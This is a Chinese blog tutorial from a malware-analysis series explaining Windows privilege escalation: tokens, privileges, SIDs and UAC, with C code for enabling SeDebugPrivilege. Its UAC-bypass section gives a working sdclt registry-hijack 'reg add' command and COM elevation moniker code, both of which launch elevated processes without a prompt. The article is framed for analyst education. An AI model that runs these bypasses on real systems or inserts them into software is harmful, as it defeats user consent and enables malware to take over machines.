原创干货 | 【恶意代码分析技巧】16-权限提升

admin 2021年5月7日00:45:28评论52 views字数 11005阅读36分41秒阅读模式

出于安全性的考虑,系统对于不同的操作划分了权限,一些敏感的操作,需要管理员的权限才能执行。为一个进程赋予管理员权限这一动作就被称为权限提升。Vista系统引入UAC后,涉及权限提升的操作都会有弹窗提示,只有用户确认后,才能继续操作。

1.基础知识

1.1.账户权限与特权

用户的权限可以通过本地安全策略(LSA,LocalSecurity Authority)进行查看,本地安全策略的位置——C:WindowsSystem32secpol.msc:

原创干货 | 【恶意代码分析技巧】16-权限提升
根据使用的场景,这些权限可以被分为两类:账户权限和特权。

1.1.1.账户权限

账户权限(accountright)是把“执行某一特定登录类型的能力”授权或拒绝给账户。
当一个用户以交互方式登录到一台机器上时,Winlogon调用LogonUser。LogonUser函数中有一个参数指明了要执行的登录的类型:交互式登陆、网络登陆、批方式登录、服务方式登录、终端服务器客户。
在本地安全策略中账户权限都包含包含“logon(登录)”字符。

原创干货 | 【恶意代码分析技巧】16-权限提升
上表列出了Windows定义的账号权限,通过LSAAddAccountRights、LSARemoveAccountRights、LsaEnumerateAccountRights函数可以增删查询权限(包括特权)。

1.1.2.特权——privilege

特权(privilege)是指一个账户执行某个与系统相关的操作的权限。
账户权限在登录请求响应时由LSA强制使用,而特权是由不同的组件定义的,由这些组件强制使用。
常见的一些特权有:
SeAssignPrimaryTokenPrivilege 替换进程级令牌

SeBackupPrivilege 备份文件和目录

SeDebugPrivilege 调试程序

SeIncreaseQuotaPrivilege 调整进程的内存配额

SeTcbPrivilege 作为操作系统的一部分来执行

在用户模式下,调用PrivilegeCheck或LsaEnumerateAccountRights查看一个令牌是否有特权;在内核模式下,使用SeSinglePrivilegeCheck或SePrivilegeCheck查看。
账户权限包括允许权限和拒绝权限两类,但特权只有一种,但是可以被启用或禁用。
无论是账户权限还是特权,都是用户拥有的。不过账户权限是用户在登录过程中发挥作用,在登录过程中,LSA根据LSA策略数据库中用户的账号权限决定用户是否能够登录;而特权是用户的进程在执行中发挥作用,进程需要特权才能执行某些操作。

1.2.访问令牌

进程是如何判断自己属于哪个账户,又是如何判断是否具有执行某操作的特权?这就要引入访问令牌(accesstoken)的概念了。

1.2.1.访问令牌

当用户登录后,系统此时会为用户生成一个访问令牌。之后,该用户执行的每个进程都会拥有一个该访问令牌的拷贝。访问令牌是用来描述进程或线程安全上下文的对象。安全上下文中包含的信息是描述了与该进程或线程相关联的账户、组和特权,也包含了会话ID、安全标识符(SID)、完整性级别和UAC虚拟化状态之类的信息。

令牌的大小是不固定的,不同的用户账户有不同的特权集合和它们关联的组用户集合。令牌中比较重要的信息如下图所示:
::: hljs-center

原创干货 | 【恶意代码分析技巧】16-权限提升

:::

令牌中SID和特权都能决定程序是否能够执行某种操作。首先是SID,令牌中的SID说明了进程属于哪个用户,也说明了这个用户的账号是哪些组的成员,关于SID详细的内容,我们下文再介绍。当程序执行用户请求的一些操作时,它可以禁止某些特定的组,属于该组的用户都无法执行该操作。另一方面,执行某些操作需要特定的权限,没有该特权就无法执行该操作。

1.2.2.主令牌和模拟令牌
访问令牌分为两种:主令牌和模拟令牌。
每一个进程都具有一个唯一的主令牌。在默认的情况下,当线程被开启的时候,进程的主令牌会自动附加到当前线程上,作为线程的安全上下文。而线程可以运行在另一个非主令牌的访问令牌下执行,而这个令牌被称为模拟令牌。而指定线程的模拟令牌的过程被称为模拟。

1.3.安全标识符SID

安全标识符(SecurityIdentifiers,SID),是标识用户、组和计算机帐户的唯一标识符。Windows系统(进程)是通过SID识别用户或组的,而不是通过用户名或组名。

每个账户在创建时,就会被分配唯一的SID,可以通过whoami/user 查看当前用户的SID:

原创干货 | 【恶意代码分析技巧】16-权限提升

SID是一个可变长度,包含三部分:SID结构版本号,48位标识符机构值,以及可变的32位子机构值或相对标识符(RID,relativeidentifier)。

上图所示的SID字符串,“S”是SID前缀,接下来每个部分用“-”来分隔。在这个SID中,版本号是1。标识符机构(IA)值是5,表示颁发机构是NT机关。再接下来四个值是子机构(SA)值,21表明SID由一个域控制器或者一台单机颁发,随后的一长串数字(2652472356-2509895215-1776492106)就是颁发SID的那个域或机器的SA。最后的1001是RID,每个用户都不一样,RID是SA所指派的一个惟一的、顺序的编号、代表一个安全主体(比如一个用户、计算机或组)。

指派给用户、计算机和组的RID从1000开始,500-999的RID被专门保留起来、表示在每个Windows计算机和域中通用的账户和组,它们称为“已知RID”有些已知RID会附加到一个域SID上,从而构成一个惟一的标识符。另一些则附加到BuiltinSID(S-1-5-32)上,指出它们是可能具有特权的Builtin账户。用户账户和组的RID是从1000开始的,每个新的用户或组,RID都会向上递增。例如上图中RID是1001,表示这是该域中发放的第二个用户或组。

1.4.UAC

在window中有些用户所在的组具有较大的权限,eg:内置的管理员(Build-InAdministrator)、域管理员(DomainAdministrator)等;有些用户拥有的特权的权力较大,eg:SeDebugPrivilege。

如果为这样的用户的令牌分配这些权力很大的账户权限或特权,就会产生巨大的安全隐患。所以,微软就想办法为这样的用户分配权力不是那么大的令牌——受限的访问令牌,于是便引入了用户账户控制(UAC,UserAccount Control)机制。

如果UAC禁用了,那么管理员运行时使用的令牌就会包含管理员组的成员和特权。

如果UAC启用了,当用户登录管理员账户时,系统就会创建两个令牌,已过滤的管理员令牌(受限的访问令牌,移除了绝大部分特权;)和一个普通的管理员令牌。在管理员用户会话中创建进程时,通常使用的都是已过滤的管理员令牌。如果该进程需要完整的管理员权限,那么就会弹出UAC提示框,让用户选择执行一次UAC权限提升。

原创干货 | 【恶意代码分析技巧】16-权限提升

使用UAC的另一个好处是可以实现文件和注册表的虚拟化,又被称为UAC虚拟化。标准用户应用程序写入受保护的系统资源位置(文件或注册表),这些应用程序将通过虚拟化被重新定向至用户各自的位置,因此UAC虚拟化也被称为重定向。

举个例子,一个标准用户应用程序开启了UAC虚拟化,假设这个程序创建了C:Windows123.txt文件,在标准用户应用程序看来他创建的文件绝对路径就是C:Windows123.txt(尽管标准用户没有C:Windows文件夹下的写权限);如果这个时候,你禁用UAC虚拟化或者提升UAC权限,那么你就会发现,它创建的文件的真实位置是%LOCALAPPDATA%VirtualStoreWindows123.txt。64位程序、非交互程序(服务)、具有管理员权限的进程都不启用UAC虚拟化。

2.访问令牌权限提升

访问令牌决定了进程能执行的权限,要提升进程的权限,就是要提升访问令牌的权限。

2.1.1.提权—AdjustTokenPrivileges

最常用的提权方式是使用AdjustTokenPrivileges提权。

AdjustTokenPrivileges能够启用或禁用指定访问令牌(有TOKEN_ADJUST_PRIVILEGES访问)的权限,AdjustTokenPrivileges函数原型:
BOOL AdjustTokenPrivileges(
_In_ HANDLE TokenHandle, //令牌的句柄,包含要修改的权限
_In_ BOOL DisableAllPrivileges,//禁用所有权限标志
_In_opt_ PTOKEN_PRIVILEGES NewState,//指向TOKEN_PRIVILEGES结构,表示新的特权
_In_ DWORD BufferLength, //缓冲数据大小,以字节为单位的PreviousState的缓存区(sizeof)
_Out_opt_ PTOKEN_PRIVILEGES PreviousState,//接收被改变特权当前状态的Buffer
_Out_opt_ PDWORD ReturnLength //接收PreviousState缓存区要求的大小
);
//函数成功,返回非零值

新的特权被存放在TOKEN_PRIVILEGES结构中,分析TOKEN_PRIVILEGES结构:
typedef struct _TOKEN_PRIVILEGES {
DWORD PrivilegeCount;
LUID_AND_ATTRIBUTES Privileges[ANYSIZE_ARRAY];
} TOKEN_PRIVILEGES, *PTOKEN_PRIVILEGES;
typedef struct _LUID_AND_ATTRIBUTES {
LUID Luid;
DWORD Attributes;
} LUID_AND_ATTRIBUTES, *PLUID_AND_ATTRIBUTES;

可以看到,AdjustTokenPrivileges在启用特权时,不是直接使用特权名称,而是使用的是LUID,这个LUID相当于特权的身份标号。
而将特权名称转换为LUID使用的API是LookupPrivilegeValue,LookupPrivilegeValue能够获取指定特权名称的LUID值,其函数原型:
BOOL LookupPrivilegeValue(
_In_opt_ LPCTSTR lpSystemName, //表示要获取特权值的系统名称,本地系统直接用NULL
_In_ LPCTSTR lpName, //特权名称,winnt.h中定义
_Out_ PLUID lpLuid
);

使用AdjustTokenPrivileges提权的核心代码:

if (OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, &hToken))
{
TOKEN_PRIVILEGES tp;
tp.PrivilegeCount = 1;
tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
//获取特权LUID
if (LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &tp.Privileges[0].Luid))
{
//提权
AdjustTokenPrivileges(hToken, FALSE, &tp, sizeof(tp), NULL, NULL);
}
CloseHandle(hToken);
}

2.1.2.提权—RtlAdjustPrivilege

另一种提权方式是使用ntdll中的RtlAdjustPrivilege。RtlAdjustPrivilege是一个未公开的API,但是大佬们已经分析出它的函数原型了:
```NTSTATUS RtlAdjustPrivilege
(
In ULONG Privilege, // 所需要的权限名称,
In BOOLEAN Enable, // 如果为True 就是打开相应权限,如果为False 则是关闭相应权限
In BOOLEAN CurrentThread, // 如果为True 则仅提升当前线程权限,否则提升整个进程的权限
Out PBOOLEAN Enabled // 输出原来相应权限的状态(打开 | 关闭)
)

```
该函数底层实现和AdjustTokenPrivileges的方式类似,可以参考本文(超链接:https://bbs.pediy.com/thread-76552.htm)。

因为该函数已经将获取进程令牌和获取LUID的过程封装好了,我们只需要直接调用该函数就可以实现提权了,核心代码:
HMODULE hNtDll = LoadLibrary(_T("ntdll.dll"));
if (!hNtDll)
return;
fRtlAdjustPrivilege funcAdjustPrivilege =
(fRtlAdjustPrivilege)GetProcAddress(hNtDll, "RtlAdjustPrivilege");
if (funcAdjustPrivilege){
BOOLEAN oldStatus;
funcAdjustPrivilege(SE_DEBUG_PRIVILEGE, true, false, &oldStatus);}

2.1.3.添加特权——LsaAddAccountRights

前面介绍的AdjustTokenPrivileges和RtlAdjustPrivilege都是通过启用/禁用的方式设置特权,他们设置的特权都是令牌中已有的特权,如果令牌中没有该特权,我们就需要先向令牌中添加特权。

向令牌中添加特权,需要使用LsaOpenPolicy和LsaAddAccountRights这个API。但这两个API操作需要Administrator权限,所以恶意代码几乎不可能先添加特权再提权,但这不妨碍我们学习添加特权的技术。

添加特权的方式很简单,首先调用LsaOpenPolicy建立与LSA的通信,得到Policy对象,然后调用LsaAddAccountRights添加特权。这两个API的函数原型:
NTSTATUS LsaOpenPolicy(
_In_ PLSA_UNICODE_STRING SystemName,
_In_ PLSA_OBJECT_ATTRIBUTES ObjectAttributes,//为0即可
_In_ ACCESS_MASK DesiredAccess,//这里需要GENERIC_READ|GENERIC_WRITE|GENERIC_ALL GENERIC_EXECUTE
_InOut_ PLSA_HANDLE PolicyHandle
);
typedef struct _LSA_UNICODE_STRING {
USHORT Length;
USHORT MaximumLength;
PWSTR Buffer;
} LSA_UNICODE_STRING, *PLSA_UNICODE_STRING;
NTSTATUS LsaAddAccountRights(
_In_ LSA_HANDLE PolicyHandle,
_In_ PSID AccountSid,
_In_ PLSA_UNICODE_STRING UserRights,//特权名称
_In_ ULONG CountOfRights
);

3.绕过用户帐户控制(bypassUAC)

UAC需要授权的动作包括:配置WindowsUpdate、增加或删除用户账户、改变用户的账户类型、改变UAC设置、安装ActiveX、安装或移除程序、安装设备驱动程序、设置家长控制、将文件移动或复制到ProgramFiles或Windows目录、查看其他用户文件夹等。

触发UAC时,系统会创建一个consent.exe进程,该进程通过白名单程序和用户选择来判断是否创建管理员权限进程。请求进程将要请求的进程cmdline和进程路径通过LPC接口传递给appinfo的RAiLuanchAdminProcess函数。该函数首先验证路径是否在白名单中,并将结果传递给consent.exe进程,该进程验证被请求的进程签名以及发起者的权限是否符合要求,然后决定是否弹出UAC框让用户进行确认。这个UAC框会创建新的安全桌面,屏蔽之前的界面。同时这个UAC框进程是SYSTEM权限进程,其他普通进程也无法和其进行通信交互。用户确认之后,会调用CreateProcessAsUser函数以管理员权限启动请求的进程。

恶意代码想要获得更高的权限,就绕不过UAC机制,但是恶意代码可以根据上述机制,想办法绕过UAC弹窗(bypassUAC),在用户不知情的情况下提升程序权限。根据上述机制,bypassUAC的主要方式就是利用白名单。

Bypass UAC的危害很大,不幸的是,微软认为bypassUAC中的很多方式并不是一个漏洞,而是“原本就是这样设计的”,所以微软并不会给bypassUAC一个CVE,然后,微软就在之后版本中偷偷修复这个bypassUAC。

BypassUAC的方式很多,新的绕过方式层出不穷,微软也一直在修复这些绕过点。本文介绍的几种bypassUAC的方式在某些系统中可能已经无法使用,但不妨碍我们从中学习绕过思路。关于最新的bypass的方式,可以持续关注这里(超链接:https://github.com/hfiref0x/UACME)。

3.1.修改sdclt.exe使用的注册表

sdclt.exe是微软提供的磁盘备份文件,从win10开始加入了自动提升权限的能力
sdclt.exe在win10中
level=”requireAdministrator”
true代表可自动提示权限

在win7中,level=”asInvoker”表示不会提升权限。

当不带任何参数启动sdclt时,sdclt会打开控制面板(control.exe),那么sdclt是如何找到启动control.exe的呢?

研究人员通过进程监视,发现sdclt.exe是通过注册表查找的:HKCUSoftwareMicrosoftWindowsCurrentVersionAppPathscontrol.exe

原创干货 | 【恶意代码分析技巧】16-权限提升
攻击者可以替换该注册表键值:

原创干货 | 【恶意代码分析技巧】16-权限提升

再次启动sdclt.exe,就会发现执行的是cmd.exe,而且权限是High,成功绕过UAC:

原创干货 | 【恶意代码分析技巧】16-权限提升

尽管微软不承认这个绕过方式是一个漏洞,但是它还是在Windows10 RS3 (16215)中修复了这种利用方式。

sdclt.exe中还有的其他bypassUAC的方式有:

①修改

HKCUSoftwareClassesexefileshellrunascommand,Windows10 RS4 (17025)中已经修复;

②修改注册表:

reg add "HKCUSoftwareClassesFoldershellopencommand"/d "cmd.exe /c notepad.exe" /f && reg addHKCUSoftwareClassesFoldershellopencommand /v "DelegateExecute"/f

3.2.利用com elevationmoniker

利用comelevation moniker技术,可以提升COM接口的权限,而不触发UAC弹窗。

能够利用comelevation moniker技术的COM接口必须具有如下特点:

1.该COM组件注册位置在HKEY_LOCAL_MACHINE下,也就是说,需要以管理员权限注册这个COM组件才可以

2.注册表HKEY_LOCAL_MACHINESoftwareClassesCLSID下需要指定三项键值:

{CLSID}/LocalizedString(REG_EXPAND_SZ):displayName

{CLSID}/Elevation/IconReference(REG_EXPAND_SZ):applicationIcon

{CLSID}/Elevation,Enabled(REG_DWORD):1

在Windows7(7600)中ICMLuaUtil接口就满足了这一要求,而且ICMLuaUtil接口提供了ShellExec函数来创建进程。攻击者可以利用comelevation moniker技术提升ICMLuaUtil接口的权限,提权后调用ShellExec创建指定的进程,绕过UAC。

利用comelevation moniker提升COM接口权限的核心代码:
HRESULT CoCreateInstanceAsAdmin(HWND hWnd, REFCLSID rclsid, REFIID riid, PVOID *ppVoid){
BIND_OPTS3 bo;
WCHAR wszCLSID[MAX_PATH] = { 0 };
WCHAR wszMonikerName[MAX_PATH] = { 0 };
HRESULT hr = 0;
// 初始化COM环境
::CoInitialize(NULL);
// 构造字符串
::StringFromGUID2(rclsid, wszCLSID, (sizeof(wszCLSID) / sizeof(wszCLSID[0])));
hr = ::StringCchPrintfW(wszMonikerName, (sizeof(wszMonikerName) / sizeof(wszMonikerName[0])), L"Elevation:Administrator!new:%s", wszCLSID);
//也可以使用Elevation:Highest!new:{guid} 语句
if (FAILED(hr))
{return hr;}
// 设置BIND_OPTS3
::RtlZeroMemory(&bo, sizeof(bo));
bo.cbStruct = sizeof(bo);
bo.hwnd = hWnd;
bo.dwClassContext = CLSCTX_LOCAL_SERVER;
// 创建名称对象并获取COM对象
hr = ::CoGetObject(wszMonikerName, &bo, riid, ppVoid);
return hr;}

提升COM权限之后,就可以执行ShellExec创建高权限进程:
// 提权
hr = CoCreateInstanceAsAdmin(NULL, clsidICMLuaUtil, iidICMLuaUtil, (PVOID*)(&CMLuaUtil));
// 启动程序
hr = CMLuaUtil->lpVtbl->ShellExec(CMLuaUtil, lpwszExecutable, NULL, NULL, 0, SW_SHOW);

4.SID-History注入

每个账户都有自己的SID,除此之外,部分账户还存在一个SID-History属性。SID-History是为了支持域迁移功能的,确保用户在从一个域移动(迁移)到另一个域时能保留原有的访问权限。将用户从DomainA移动到DomainB时,将在DomainB中创建新的用户帐户,这会产生新的SID,为了保留原有的访问权限(对DomainA的访问权限),DomainA用户的SID也不能丢弃,而是将其添加到DomainB的用户帐户SID-History属性中。当迁移后的账户登录时,与该账户相关联的所有SID(包括SID-History中的SID)都将被添加到访问令牌中。

SID-History在同一个域中的作用与SID在跨越多个域的同一个林中的是相同的,这意味着DomainA中的常规用户帐户窃取DomainA中特权帐户或组的SID,然后加入自己的SID-History,这样就可以授予常规用户帐户域管理员权限,而不需要成为域管理员组的成员。

Mimikatz已经完全支持该技术了,关于该技术的具体实践,可以参考本文(超链接:https://www.4hou.com/penetration/5476.html)。

5.calcs/icalcs权限设置

前面介绍的都是对权限的提升,让恶意代码执行更高权限的行为,除此之外,许多恶意代码还会通过权限设置,增加分析人员分析难度。

原创干货 | 【恶意代码分析技巧】16-权限提升

如图所示,挖矿木马(md5:2b01c2b77a0f14f2b87eba4da423262bfe026828)使用cacls工具,将C:ProgramDataSmart文件夹设置为system权限可访问,而administrators权限拒绝访问。

在分析工程中,为了打开C:ProgramDataSmart文件夹,对其进行分析,我们需要先修改C:ProgramDataSmart文件夹的权限,可以通过下列命令将该文件夹设置为所有用户可以访问:

cacls C:ProgramDataSmart/e /t /g everyone:f/d system

cacls.exe是微软提供的操作文件ACL的工具,其用法如图所示:

原创干货 | 【恶意代码分析技巧】16-权限提升

在Windows7及之后版本的系统中,推荐使用icacls。

wannacry就是使用使用attrib+h隐藏其某些文件,并使用icacls设置访问权限:

原创干货 | 【恶意代码分析技巧】16-权限提升

参考资料:

https://www.cnblogs.com/Chesky/p/UAC_Bypass.html

https://docs.microsoft.com/zh-cn/windows/win32/secauthz/account-rights-constants?redirectedfrom=MSDN

https://docs.microsoft.com/zh-cn/windows/security/identity-protection/access-control/security-identifiers

https://blog.csdn.net/qq_36334464/article/details/96425728

https://blog.csdn.net/sowhat_ah/article/details/43484343

https://www.0x01f.cn/post/windows/windows_access/

https://www.cnblogs.com/Chesky/p/UAC_Bypass.html#_caption_3

https://github.com/hfiref0x/UACME

https://3gstudent.github.io/3gstudent.github.io/%E9%80%9A%E8%BF%87COM%E7%BB%84%E4%BB%B6NetFwPolicy2%E8%B6%8A%E6%9D%83%E5%85%B3%E9%97%AD%E9%98%B2%E7%81%AB%E5%A2%99/

https://www.jb51.net/article/51907.htm

相关推荐: 原创干货 | 【恶意代码分析技巧】02-exe_python

1.python虚拟机 计算机发展至今已经有了机器语言、汇编语言和高级语言三种。计算机能够直接识别的是机器语言,不同的CPU使用的机器语言不是完全相同的;汇编语言本质上是和机器语言是一样的,只不过汇编指令采用了英文标识符,它和机器语言一一对应;高级语言是对人类…

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2021年5月7日00:45:28
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   原创干货 | 【恶意代码分析技巧】16-权限提升http://cn-sec.com/archives/246238.html